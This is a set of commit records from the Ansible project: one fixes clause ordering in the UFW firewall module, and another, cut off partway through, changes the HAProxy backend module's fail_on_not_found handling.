<commit_before>#!/usr/bin/python
# -*- coding: utf-8 -*-

# (c) 2014, Ahti Kitsik <ak@ahtik.com>
# (c) 2014, Jarno Keskikangas <jarno.keskikangas@gmail.com>
# (c) 2013, Aleksey Ovcharenko <aleksey.ovcharenko@gmail.com>
# (c) 2013, James Martin <jmartin@basho.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

DOCUMENTATION = '''
---
module: ufw
short_description: Manage firewall with UFW
description:
    - Manage firewall with UFW.
version_added: 1.6
author:
    - "Aleksey Ovcharenko (@ovcharenko)"
    - "Jarno Keskikangas (@pyykkis)"
    - "Ahti Kitsik (@ahtik)"
notes:
    - See C(man ufw) for more examples.
requirements:
    - C(ufw) package
options:
  state:
    description:
      - C(enabled) reloads firewall and enables firewall on boot.
      - C(disabled) unloads firewall and disables firewall on boot.
      - C(reloaded) reloads firewall.
      - C(reset) disables and resets firewall to installation defaults.
    required: false
    choices: ['enabled', 'disabled', 'reloaded', 'reset']
  policy:
    description:
      - Change the default policy for incoming or outgoing traffic.
    required: false
    alias: default
    choices: ['allow', 'deny', 'reject']
  direction:
    description:
      - Select direction for a rule or default policy command.
    required: false
    choices: ['in', 'out', 'incoming', 'outgoing', 'routed']
  logging:
    description:
      - Toggles logging. Logged packets use the LOG_KERN syslog facility.
    choices: ['on', 'off', 'low', 'medium', 'high', 'full']
    required: false
  insert:
    description:
      - Insert the corresponding rule as rule number NUM
    required: false
  rule:
    description:
      - Add firewall rule
    required: false
    choices: ['allow', 'deny', 'reject', 'limit']
  log:
    description:
      - Log new connections matched to this rule
    required: false
    choices: ['yes', 'no']
  from_ip:
    description:
      - Source IP address.
    required: false
    aliases: ['from', 'src']
    default: 'any'
  from_port:
    description:
      - Source port.
    required: false
  to_ip:
    description:
      - Destination IP address.
    required: false
    aliases: ['to', 'dest']
    default: 'any'
  to_port:
    description:
      - Destination port.
    required: false
    aliases: ['port']
  proto:
    description:
      - TCP/IP protocol.
    choices: ['any', 'tcp', 'udp', 'ipv6', 'esp', 'ah']
    required: false
  name:
    description:
      - Use profile located in C(/etc/ufw/applications.d)
    required: false
    aliases: ['app']
  delete:
    description:
      - Delete rule.
    required: false
    choices: ['yes', 'no']
  interface:
    description:
      - Specify interface for rule.
    required: false
    aliases: ['if']
  route:
    description:
      - Apply the rule to routed/forwarded packets.
    required: false
    choices: ['yes', 'no']
'''

EXAMPLES = '''
# Allow everything and enable UFW
ufw: state=enabled policy=allow

# Set logging
ufw: logging=on

# Sometimes it is desirable to let the sender know when traffic is
# being denied, rather than simply ignoring it. In these cases, use
# reject instead of deny. In addition, log rejected connections:
ufw: rule=reject port=auth log=yes

# ufw supports connection rate limiting, which is useful for protecting
# against brute-force login attacks. ufw will deny connections if an IP
# address has attempted to initiate 6 or more connections in the last
# 30 seconds. See  http://www.debian-administration.org/articles/187
# for details. Typical usage is:
ufw: rule=limit port=ssh proto=tcp

# Allow OpenSSH. (Note that as ufw manages its own state, simply removing
# a rule=allow task can leave those ports exposed. Either use delete=yes
# or a separate state=reset task)
ufw: rule=allow name=OpenSSH

# Delete OpenSSH rule
ufw: rule=allow name=OpenSSH delete=yes

# Deny all access to port 53:
ufw: rule=deny port=53

# Allow port range 60000-61000
ufw: rule=allow port=60000:61000

# Allow all access to tcp port 80:
ufw: rule=allow port=80 proto=tcp

# Allow all access from RFC1918 networks to this host:
ufw: rule=allow src={{ item }}
with_items:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16

# Deny access to udp port 514 from host 1.2.3.4:
ufw: rule=deny proto=udp src=1.2.3.4 port=514

# Allow incoming access to eth0 from 1.2.3.5 port 5469 to 1.2.3.4 port 5469
ufw: rule=allow interface=eth0 direction=in proto=udp src=1.2.3.5 from_port=5469 dest=1.2.3.4 to_port=5469

# Deny all traffic from the IPv6 2001:db8::/32 to tcp port 25 on this host.
# Note that IPv6 must be enabled in /etc/default/ufw for IPv6 firewalling to work.
ufw: rule=deny proto=tcp src=2001:db8::/32 port=25

# Deny forwarded/routed traffic from subnet 1.2.3.0/24 to subnet 4.5.6.0/24.
# Can be used to further restrict a global FORWARD policy set to allow
ufw: rule=deny route=yes src=1.2.3.0/24 dest=4.5.6.0/24
'''

from operator import itemgetter

def main():
    module = AnsibleModule(
        argument_spec = dict(
            state     = dict(default=None,  choices=['enabled', 'disabled', 'reloaded', 'reset']),
            default   = dict(default=None,  aliases=['policy'], choices=['allow', 'deny', 'reject']),
            logging   = dict(default=None,  choices=['on', 'off', 'low', 'medium', 'high', 'full']),
            direction = dict(default=None,  choices=['in', 'incoming', 'out', 'outgoing', 'routed']),
            delete    = dict(default=False, type='bool'),
            route     = dict(default=False, type='bool'),
            insert    = dict(default=None),
            rule      = dict(default=None,  choices=['allow', 'deny', 'reject', 'limit']),
            interface = dict(default=None,  aliases=['if']),
            log       = dict(default=False, type='bool'),
            from_ip   = dict(default='any', aliases=['src', 'from']),
            from_port = dict(default=None),
            to_ip     = dict(default='any', aliases=['dest', 'to']),
            to_port   = dict(default=None,  aliases=['port']),
            proto     = dict(default=None,  aliases=['protocol'], choices=['any', 'tcp', 'udp', 'ipv6', 'esp', 'ah']),
            app       = dict(default=None,  aliases=['name'])
        ),
        supports_check_mode = True,
        mutually_exclusive = [['app', 'proto', 'logging']]
    )

    cmds = []

    def execute(cmd):
        cmd = ' '.join(map(itemgetter(-1), filter(itemgetter(0), cmd)))

        cmds.append(cmd)
        (rc, out, err) = module.run_command(cmd)

        if rc != 0:
            module.fail_json(msg=err or out)

    params = module.params

    # Ensure at least one of the command arguments are given
    command_keys = ['state', 'default', 'rule', 'logging']
    commands = dict((key, params[key]) for key in command_keys if params[key])

    if len(commands) < 1:
        module.fail_json(msg="Not any of the command arguments %s given" % commands)

    if('interface' in params and params['direction'] is None):
      module.fail_json(msg="Direction must be specified when creating a rule on an interface")

    # Ensure ufw is available
    ufw_bin = module.get_bin_path('ufw', True)

    # Save the pre state and rules in order to recognize changes
    (_, pre_state, _) = module.run_command(ufw_bin + ' status verbose')
    (_, pre_rules, _) = module.run_command("grep '^### tuple' /lib/ufw/user*.rules")

    # Execute commands
    for (command, value) in commands.iteritems():
        cmd = [[ufw_bin], [module.check_mode, '--dry-run']]

        if command == 'state':
            states = { 'enabled': 'enable',  'disabled': 'disable',
                       'reloaded': 'reload', 'reset': 'reset' }
            execute(cmd + [['-f'], [states[value]]])

        elif command == 'logging':
            execute(cmd + [[command], [value]])

        elif command == 'default':
            execute(cmd + [[command], [value], [params['direction']]])

        elif command == 'rule':
            # Rules are constructed according to the long format
            #
            # ufw [--dry-run] [delete] [insert NUM] [route] allow|deny|reject|limit [in|out on INTERFACE] [log|log-all] \
            #     [from ADDRESS [port PORT]] [to ADDRESS [port PORT]] \
            #     [proto protocol] [app application]
            cmd.append([module.boolean(params['delete']), 'delete'])
            cmd.append([module.boolean(params['route']), 'route'])
            cmd.append([params['insert'], "insert %s" % params['insert']])
            cmd.append([value])
            cmd.append([module.boolean(params['log']), 'log'])

            for (key, template) in [('direction', "%s"      ), ('interface', "on %s"   ),
                                    ('from_ip',   "from %s" ), ('from_port', "port %s" ),
                                    ('to_ip',     "to %s"   ), ('to_port',   "port %s" ),
                                    ('proto',     "proto %s"), ('app',       "app '%s'")]:

                value = params[key]
                cmd.append([value, template % (value)])

            execute(cmd)

    # Get the new state
    (_, post_state, _) = module.run_command(ufw_bin + ' status verbose')
    (_, post_rules, _) = module.run_command("grep '^### tuple' /lib/ufw/user*.rules")
    changed = (pre_state != post_state) or (pre_rules != post_rules)

    return module.exit_json(changed=changed, commands=cmds, msg=post_state.rstrip())

# import module snippets
from ansible.module_utils.basic import *

main()
<commit_msg>"Invalid interface clause" error in UFW module (#2559) (#2666)<commit_after>#!/usr/bin/python
# -*- coding: utf-8 -*-

# (c) 2014, Ahti Kitsik <ak@ahtik.com>
# (c) 2014, Jarno Keskikangas <jarno.keskikangas@gmail.com>
# (c) 2013, Aleksey Ovcharenko <aleksey.ovcharenko@gmail.com>
# (c) 2013, James Martin <jmartin@basho.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

DOCUMENTATION = '''
---
module: ufw
short_description: Manage firewall with UFW
description:
    - Manage firewall with UFW.
version_added: 1.6
author:
    - "Aleksey Ovcharenko (@ovcharenko)"
    - "Jarno Keskikangas (@pyykkis)"
    - "Ahti Kitsik (@ahtik)"
notes:
    - See C(man ufw) for more examples.
requirements:
    - C(ufw) package
options:
  state:
    description:
      - C(enabled) reloads firewall and enables firewall on boot.
      - C(disabled) unloads firewall and disables firewall on boot.
      - C(reloaded) reloads firewall.
      - C(reset) disables and resets firewall to installation defaults.
    required: false
    choices: ['enabled', 'disabled', 'reloaded', 'reset']
  policy:
    description:
      - Change the default policy for incoming or outgoing traffic.
    required: false
    alias: default
    choices: ['allow', 'deny', 'reject']
  direction:
    description:
      - Select direction for a rule or default policy command.
    required: false
    choices: ['in', 'out', 'incoming', 'outgoing', 'routed']
  logging:
    description:
      - Toggles logging. Logged packets use the LOG_KERN syslog facility.
    choices: ['on', 'off', 'low', 'medium', 'high', 'full']
    required: false
  insert:
    description:
      - Insert the corresponding rule as rule number NUM
    required: false
  rule:
    description:
      - Add firewall rule
    required: false
    choices: ['allow', 'deny', 'reject', 'limit']
  log:
    description:
      - Log new connections matched to this rule
    required: false
    choices: ['yes', 'no']
  from_ip:
    description:
      - Source IP address.
    required: false
    aliases: ['from', 'src']
    default: 'any'
  from_port:
    description:
      - Source port.
    required: false
  to_ip:
    description:
      - Destination IP address.
    required: false
    aliases: ['to', 'dest']
    default: 'any'
  to_port:
    description:
      - Destination port.
    required: false
    aliases: ['port']
  proto:
    description:
      - TCP/IP protocol.
    choices: ['any', 'tcp', 'udp', 'ipv6', 'esp', 'ah']
    required: false
  name:
    description:
      - Use profile located in C(/etc/ufw/applications.d)
    required: false
    aliases: ['app']
  delete:
    description:
      - Delete rule.
    required: false
    choices: ['yes', 'no']
  interface:
    description:
      - Specify interface for rule.
    required: false
    aliases: ['if']
  route:
    description:
      - Apply the rule to routed/forwarded packets.
    required: false
    choices: ['yes', 'no']
'''

EXAMPLES = '''
# Allow everything and enable UFW
ufw: state=enabled policy=allow

# Set logging
ufw: logging=on

# Sometimes it is desirable to let the sender know when traffic is
# being denied, rather than simply ignoring it. In these cases, use
# reject instead of deny. In addition, log rejected connections:
ufw: rule=reject port=auth log=yes

# ufw supports connection rate limiting, which is useful for protecting
# against brute-force login attacks. ufw will deny connections if an IP
# address has attempted to initiate 6 or more connections in the last
# 30 seconds. See  http://www.debian-administration.org/articles/187
# for details. Typical usage is:
ufw: rule=limit port=ssh proto=tcp

# Allow OpenSSH. (Note that as ufw manages its own state, simply removing
# a rule=allow task can leave those ports exposed. Either use delete=yes
# or a separate state=reset task)
ufw: rule=allow name=OpenSSH

# Delete OpenSSH rule
ufw: rule=allow name=OpenSSH delete=yes

# Deny all access to port 53:
ufw: rule=deny port=53

# Allow port range 60000-61000
ufw: rule=allow port=60000:61000

# Allow all access to tcp port 80:
ufw: rule=allow port=80 proto=tcp

# Allow all access from RFC1918 networks to this host:
ufw: rule=allow src={{ item }}
with_items:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16

# Deny access to udp port 514 from host 1.2.3.4:
ufw: rule=deny proto=udp src=1.2.3.4 port=514

# Allow incoming access to eth0 from 1.2.3.5 port 5469 to 1.2.3.4 port 5469
ufw: rule=allow interface=eth0 direction=in proto=udp src=1.2.3.5 from_port=5469 dest=1.2.3.4 to_port=5469

# Deny all traffic from the IPv6 2001:db8::/32 to tcp port 25 on this host.
# Note that IPv6 must be enabled in /etc/default/ufw for IPv6 firewalling to work.
ufw: rule=deny proto=tcp src=2001:db8::/32 port=25

# Deny forwarded/routed traffic from subnet 1.2.3.0/24 to subnet 4.5.6.0/24.
# Can be used to further restrict a global FORWARD policy set to allow
ufw: rule=deny route=yes src=1.2.3.0/24 dest=4.5.6.0/24
'''

from operator import itemgetter

def main():
    module = AnsibleModule(
        argument_spec = dict(
            state     = dict(default=None,  choices=['enabled', 'disabled', 'reloaded', 'reset']),
            default   = dict(default=None,  aliases=['policy'], choices=['allow', 'deny', 'reject']),
            logging   = dict(default=None,  choices=['on', 'off', 'low', 'medium', 'high', 'full']),
            direction = dict(default=None,  choices=['in', 'incoming', 'out', 'outgoing', 'routed']),
            delete    = dict(default=False, type='bool'),
            route     = dict(default=False, type='bool'),
            insert    = dict(default=None),
            rule      = dict(default=None,  choices=['allow', 'deny', 'reject', 'limit']),
            interface = dict(default=None,  aliases=['if']),
            log       = dict(default=False, type='bool'),
            from_ip   = dict(default='any', aliases=['src', 'from']),
            from_port = dict(default=None),
            to_ip     = dict(default='any', aliases=['dest', 'to']),
            to_port   = dict(default=None,  aliases=['port']),
            proto     = dict(default=None,  aliases=['protocol'], choices=['any', 'tcp', 'udp', 'ipv6', 'esp', 'ah']),
            app       = dict(default=None,  aliases=['name'])
        ),
        supports_check_mode = True,
        mutually_exclusive = [['app', 'proto', 'logging']]
    )

    cmds = []

    def execute(cmd):
        cmd = ' '.join(map(itemgetter(-1), filter(itemgetter(0), cmd)))

        cmds.append(cmd)
        (rc, out, err) = module.run_command(cmd)

        if rc != 0:
            module.fail_json(msg=err or out)

    params = module.params

    # Ensure at least one of the command arguments are given
    command_keys = ['state', 'default', 'rule', 'logging']
    commands = dict((key, params[key]) for key in command_keys if params[key])

    if len(commands) < 1:
        module.fail_json(msg="Not any of the command arguments %s given" % commands)

    if('interface' in params and params['direction'] is None):
      module.fail_json(msg="Direction must be specified when creating a rule on an interface")

    # Ensure ufw is available
    ufw_bin = module.get_bin_path('ufw', True)

    # Save the pre state and rules in order to recognize changes
    (_, pre_state, _) = module.run_command(ufw_bin + ' status verbose')
    (_, pre_rules, _) = module.run_command("grep '^### tuple' /lib/ufw/user*.rules")

    # Execute commands
    for (command, value) in commands.iteritems():
        cmd = [[ufw_bin], [module.check_mode, '--dry-run']]

        if command == 'state':
            states = { 'enabled': 'enable',  'disabled': 'disable',
                       'reloaded': 'reload', 'reset': 'reset' }
            execute(cmd + [['-f'], [states[value]]])

        elif command == 'logging':
            execute(cmd + [[command], [value]])

        elif command == 'default':
            execute(cmd + [[command], [value], [params['direction']]])

        elif command == 'rule':
            # Rules are constructed according to the long format
            #
            # ufw [--dry-run] [delete] [insert NUM] [route] allow|deny|reject|limit [in|out on INTERFACE] [log|log-all] \
            #     [from ADDRESS [port PORT]] [to ADDRESS [port PORT]] \
            #     [proto protocol] [app application]
            cmd.append([module.boolean(params['delete']), 'delete'])
            cmd.append([module.boolean(params['route']), 'route'])
            cmd.append([params['insert'], "insert %s" % params['insert']])
            cmd.append([value])
            cmd.append([params['direction'], "%s" % params['direction']])
            cmd.append([params['interface'], "on %s" % params['interface']])
            cmd.append([module.boolean(params['log']), 'log'])

            for (key, template) in [('from_ip',   "from %s" ), ('from_port', "port %s" ),
                                    ('to_ip',     "to %s"   ), ('to_port',   "port %s" ),
                                    ('proto',     "proto %s"), ('app',       "app '%s'")]:

                value = params[key]
                cmd.append([value, template % (value)])

            execute(cmd)

    # Get the new state
    (_, post_state, _) = module.run_command(ufw_bin + ' status verbose')
    (_, post_rules, _) = module.run_command("grep '^### tuple' /lib/ufw/user*.rules")
    changed = (pre_state != post_state) or (pre_rules != post_rules)

    return module.exit_json(changed=changed, commands=cmds, msg=post_state.rstrip())

# import module snippets
from ansible.module_utils.basic import *

main()
<|endoftext|>


<commit_before>#!/usr/bin/python
# -*- coding: utf-8 -*-

# (c) 2014, Ravi Bhure <ravibhure@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['preview'],
                    'supported_by': 'community'}

DOCUMENTATION = '''
---
module: haproxy
version_added: "1.9"
short_description: Enable, disable, and set weights for HAProxy backend servers using socket commands.
author: "Ravi Bhure (@ravibhure)"
description:
    - Enable, disable, drain and set weights for HAProxy backend servers using socket
      commands.
notes:
    - Enable, disable and drain commands are restricted and can only be issued on
      sockets configured for level 'admin'. For example, you can add the line
      'stats socket /var/run/haproxy.sock level admin' to the general section of
      haproxy.cfg. See U(http://haproxy.1wt.eu/download/1.5/doc/configuration.txt).
    - Depends on netcat (nc) being available; you need to install the appriate
      package for your operating system before this module can be used.
options:
  backend:
    description:
      - Name of the HAProxy backend pool.
    required: false
    default: auto-detected
  host:
    description:
      - Name of the backend host to change.
    required: true
    default: null
  shutdown_sessions:
    description:
      - When disabling a server, immediately terminate all the sessions attached
        to the specified server. This can be used to terminate long-running
        sessions after a server is put into maintenance mode.
    required: false
    default: false
  socket:
    description:
      - Path to the HAProxy socket file.
    required: false
    default: /var/run/haproxy.sock
  state:
    description:
      - Desired state of the provided backend host.
      - Note that C(drain) state was added in version 2.4. It is supported only by HAProxy version 1.5 or later,
        if used on versions < 1.5, it will be ignored.
    required: true
    default: null
    choices: [ "enabled", "disabled", "drain" ]
  fail_on_not_found:
    description:
      - Fail whenever trying to enable/disable a backend host that does not exist
    required: false
    default: false
    version_added: "2.2"
  wait:
    description:
      - Wait until the server reports a status of 'UP' when `state=enabled`,
        status of 'MAINT' when `state=disabled` or status of 'DRAIN' when `state=drain`
    required: false
    default: false
    version_added: "2.0"
  wait_interval:
    description:
      - Number of seconds to wait between retries.
    required: false
    default: 5
    version_added: "2.0"
  wait_retries:
    description:
      - Number of times to check for status after changing the state.
    required: false
    default: 25
    version_added: "2.0"
  weight:
    description:
      - The value passed in argument. If the value ends with the `%` sign, then
        the new weight will be relative to the initially configured weight.
        Relative weights are only permitted between 0 and 100% and absolute
        weights are permitted between 0 and 256.
    required: false
    default: null
'''

EXAMPLES = '''
# disable server in 'www' backend pool
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    backend: www

# disable server without backend pool name (apply to all available backend pool)
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'

# disable server, provide socket file
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    backend: www

# disable server, provide socket file, wait until status reports in maintenance
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    backend: www
    wait: yes

# disable backend server in 'www' backend pool and drop open sessions to it
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    backend: www
    socket: /var/run/haproxy.sock
    shutdown_sessions: true

# disable server without backend pool name (apply to all available backend pool) but fail when the backend host is not found
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    fail_on_not_found: yes

# enable server in 'www' backend pool
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    backend: www

# enable server in 'www' backend pool wait until healthy
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    backend: www
    wait: yes

# enable server in 'www' backend pool wait until healthy. Retry 10 times with intervals of 5 seconds to retrieve the health
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    backend: www
    wait: yes
    wait_retries: 10
    wait_interval: 5

# enable server in 'www' backend pool with change server(s) weight
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    weight: 10
    backend: www

# set the server in 'www' backend pool to drain mode
- haproxy:
    state: drain
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    backend: www
'''

import csv
import socket
import time
from string import Template

from ansible.module_utils.basic import AnsibleModule

DEFAULT_SOCKET_LOCATION = "/var/run/haproxy.sock"
RECV_SIZE = 1024
ACTION_CHOICES = ['enabled', 'disabled', 'drain']
WAIT_RETRIES = 25
WAIT_INTERVAL = 5

######################################################################
class TimeoutException(Exception):
    pass

class HAProxy(object):
    """
    Used for communicating with HAProxy through its local UNIX socket interface.
    Perform common tasks in Haproxy related to enable server and
    disable server.

    The complete set of external commands Haproxy handles is documented
    on their website:

    http://haproxy.1wt.eu/download/1.5/doc/configuration.txt#Unix Socket commands
    """

    def __init__(self, module):
        self.module = module

        self.state = self.module.params['state']
        self.host = self.module.params['host']
        self.backend = self.module.params['backend']
        self.weight = self.module.params['weight']
        self.socket = self.module.params['socket']
        self.shutdown_sessions = self.module.params['shutdown_sessions']
        self.fail_on_not_found = self.module.params['fail_on_not_found']
        self.wait = self.module.params['wait']
        self.wait_retries = self.module.params['wait_retries']
        self.wait_interval = self.module.params['wait_interval']
        self.command_results = {}

    def execute(self, cmd, timeout=200, capture_output=True):
        """
        Executes a HAProxy command by sending a message to a HAProxy's local
        UNIX socket and waiting up to 'timeout' milliseconds for the response.
        """
        self.client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        self.client.connect(self.socket)
        self.client.sendall('%s\n' % cmd)
        result = ''
        buf = ''
        buf = self.client.recv(RECV_SIZE)
        while buf:
            result += buf
            buf = self.client.recv(RECV_SIZE)
        if capture_output:
            self.capture_command_output(cmd, result.strip())
        self.client.close()
        return result

    def capture_command_output(self, cmd, output):
        """
        Capture the output for a command
        """
        if 'command' not in self.command_results:
            self.command_results['command'] = []
        self.command_results['command'].append(cmd)
        if 'output' not in self.command_results:
            self.command_results['output'] = []
        self.command_results['output'].append(output)

    def discover_all_backends(self):
        """
        Discover all entries with svname = 'BACKEND' and return a list of their corresponding
        pxnames
        """
        data = self.execute('show stat', 200, False).lstrip('# ')
        r = csv.DictReader(data.splitlines())
        return tuple(map(lambda d: d['pxname'], filter(lambda d: d['svname'] == 'BACKEND', r)))

    def discover_version(self):
        """
        Attempt to extract the haproxy version.
        Return a tuple containing major and minor version.
        """
        data = self.execute('show info', 200, False)
        lines = data.splitlines()
        line = [x for x in lines if 'Version:' in x]
        try:
            version_values = line[0].partition(':')[2].strip().split('.', 3)
            version = (int(version_values[0]), int(version_values[1]))
        except (ValueError, TypeError, IndexError):
            version = None

        return version

    def execute_for_backends(self, cmd, pxname, svname, wait_for_status=None):
        """
        Run some command on the specified backends. If no backends are provided they will
        be discovered automatically (all backends)
        """
        # Discover backends if none are given
        if pxname is None:
            backends = self.discover_all_backends()
        else:
            backends = [pxname]

        # Run the command for each requested backend
        for backend in backends:
            # Fail when backends were not found
            state = self.get_state_for(backend, svname)
            if (self.fail_on_not_found or self.wait) and state is None:
                self.module.fail_json(msg="The specified backend '%s/%s' was not found!" % (backend, svname))

            self.execute(Template(cmd).substitute(pxname=backend, svname=svname))
            if self.wait:
                self.wait_until_status(backend, svname, wait_for_status)

    def get_state_for(self, pxname, svname):
        """
        Find the state of specific services. When pxname is not set, get all backends for a specific host.
        Returns a list of dictionaries containing the status and weight for those services.
        """
        data = self.execute('show stat', 200, False).lstrip('# ')
        r = csv.DictReader(data.splitlines())
        state = tuple(
            map(
                lambda d: {'status': d['status'], 'weight': d['weight']},
                filter(lambda d: (pxname is None or d['pxname'] == pxname) and d['svname'] == svname, r)
            )
        )
        return state or None

    def wait_until_status(self, pxname, svname, status):
        """
        Wait for a service to reach the specified status. Try RETRIES times
        with INTERVAL seconds of sleep in between. If the service has not reached
        the expected status in that time, the module will fail. If the service was
        not found, the module will fail.
        """
        for i in range(1, self.wait_retries):
            state = self.get_state_for(pxname, svname)

            # We can assume there will only be 1 element in state because both svname and pxname are always set when we get here
            if state[0]['status'] == status:
                return True
            else:
                time.sleep(self.wait_interval)

        self.module.fail_json(msg="server %s/%s not status '%s' after %d retries. Aborting." % (pxname, svname, status, self.wait_retries))

    def enabled(self, host, backend, weight):
        """
        Enabled action, marks server to UP and checks are re-enabled,
        also supports to get current weight for server (default) and
        set the weight for haproxy backend server when provides.
        """
        cmd = "get weight $pxname/$svname; enable server $pxname/$svname"
        if weight:
            cmd += "; set weight $pxname/$svname %s" % weight
        self.execute_for_backends(cmd, backend, host, 'UP')

    def disabled(self, host, backend, shutdown_sessions):
        """
        Disabled action, marks server to DOWN for maintenance. In this mode, no more checks will be
        performed on the server until it leaves maintenance,
        also it shutdown sessions while disabling backend host server.
        """
        cmd = "get weight $pxname/$svname; disable server $pxname/$svname"
        if shutdown_sessions:
            cmd += "; shutdown sessions server $pxname/$svname"
        self.execute_for_backends(cmd, backend, host, 'MAINT')

    def drain(self, host, backend):
        """
        Drain action, sets the server to DRAIN mode.
        In this mode mode, the server will not accept any new connections
        other than those that are accepted via persistence.
        """
        haproxy_version = self.discover_version()

        # check if haproxy version suppots DRAIN state (starting with 1.5)
        if haproxy_version and (1, 5) <= haproxy_version:
            cmd = "set server $pxname/$svname state drain"
            self.execute_for_backends(cmd, backend, host, 'DRAIN')

    def act(self):
        """
        Figure out what you want to do from ansible, and then do it.
        """
        # Get the state before the run
        state_before = self.get_state_for(self.backend, self.host)
        self.command_results['state_before'] = state_before

        # toggle enable/disbale server
        if self.state == 'enabled':
            self.enabled(self.host, self.backend, self.weight)
        elif self.state == 'disabled':
            self.disabled(self.host, self.backend, self.shutdown_sessions)
        elif self.state == 'drain':
            self.drain(self.host, self.backend)
        else:
            self.module.fail_json(msg="unknown state specified: '%s'" % self.state)

        # Get the state after the run
        state_after = self.get_state_for(self.backend, self.host)
        self.command_results['state_after'] = state_after

        # Report change status
        if state_before != state_after:
            self.command_results['changed'] = True
            self.module.exit_json(**self.command_results)
        else:
            self.command_results['changed'] = False
            self.module.exit_json(**self.command_results)

def main():

    # load ansible module object
    module = AnsibleModule(
        argument_spec=dict(
            state=dict(required=True, default=None, choices=ACTION_CHOICES),
            host=dict(required=True, default=None),
            backend=dict(required=False, default=None),
            weight=dict(required=False, default=None),
            socket=dict(required=False, default=DEFAULT_SOCKET_LOCATION),
            shutdown_sessions=dict(required=False, default=False, type='bool'),
            fail_on_not_found=dict(required=False, default=False, type='bool'),
            wait=dict(required=False, default=False, type='bool'),
            wait_retries=dict(required=False, default=WAIT_RETRIES, type='int'),
            wait_interval=dict(required=False, default=WAIT_INTERVAL, type='int'),
        ),
    )

    if not socket:
        module.fail_json(msg="unable to locate haproxy socket")

    ansible_haproxy = HAProxy(module)
    ansible_haproxy.act()

if __name__ == '__main__':
    main()
<commit_msg>haproxy: fix fail_on_not_found behaviour (#24790)<commit_after>#!/usr/bin/python
# -*- coding: utf-8 -*-

# (c) 2014, Ravi Bhure <ravibhure@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['preview'],
                    'supported_by': 'community'}

DOCUMENTATION = '''
---
module: haproxy
version_added: "1.9"
short_description: Enable, disable, and set weights for HAProxy backend servers using socket commands.
author: "Ravi Bhure (@ravibhure)"
description:
    - Enable, disable, drain and set weights for HAProxy backend servers using socket
      commands.
notes:
    - Enable, disable and drain commands are restricted and can only be issued on
      sockets configured for level 'admin'. For example, you can add the line
      'stats socket /var/run/haproxy.sock level admin' to the general section of
      haproxy.cfg. See U(http://haproxy.1wt.eu/download/1.5/doc/configuration.txt).
    - Depends on netcat (nc) being available; you need to install the appriate
      package for your operating system before this module can be used.
options:
  backend:
    description:
      - Name of the HAProxy backend pool.
    required: false
    default: auto-detected
  host:
    description:
      - Name of the backend host to change.
    required: true
    default: null
  shutdown_sessions:
    description:
      - When disabling a server, immediately terminate all the sessions attached
        to the specified server. This can be used to terminate long-running
        sessions after a server is put into maintenance mode.
    required: false
    default: false
  socket:
    description:
      - Path to the HAProxy socket file.
    required: false
    default: /var/run/haproxy.sock
  state:
    description:
      - Desired state of the provided backend host.
      - Note that C(drain) state was added in version 2.4. It is supported only by HAProxy version 1.5 or later,
        if used on versions < 1.5, it will be ignored.
    required: true
    default: null
    choices: [ "enabled", "disabled", "drain" ]
  fail_on_not_found:
    description:
      - Fail whenever trying to enable/disable a backend host that does not exist
    required: false
    default: false
    version_added: "2.2"
  wait:
    description:
      - Wait until the server reports a status of 'UP' when `state=enabled`,
        status of 'MAINT' when `state=disabled` or status of 'DRAIN' when `state=drain`
    required: false
    default: false
    version_added: "2.0"
  wait_interval:
    description:
      - Number of seconds to wait between retries.
    required: false
    default: 5
    version_added: "2.0"
  wait_retries:
    description:
      - Number of times to check for status after changing the state.
    required: false
    default: 25
    version_added: "2.0"
  weight:
    description:
      - The value passed in argument. If the value ends with the `%` sign, then
        the new weight will be relative to the initially configured weight.
        Relative weights are only permitted between 0 and 100% and absolute
        weights are permitted between 0 and 256.
    required: false
    default: null
'''

EXAMPLES = '''
# disable server in 'www' backend pool
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    backend: www

# disable server without backend pool name (apply to all available backend pool)
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'

# disable server, provide socket file
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    backend: www

# disable server, provide socket file, wait until status reports in maintenance
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
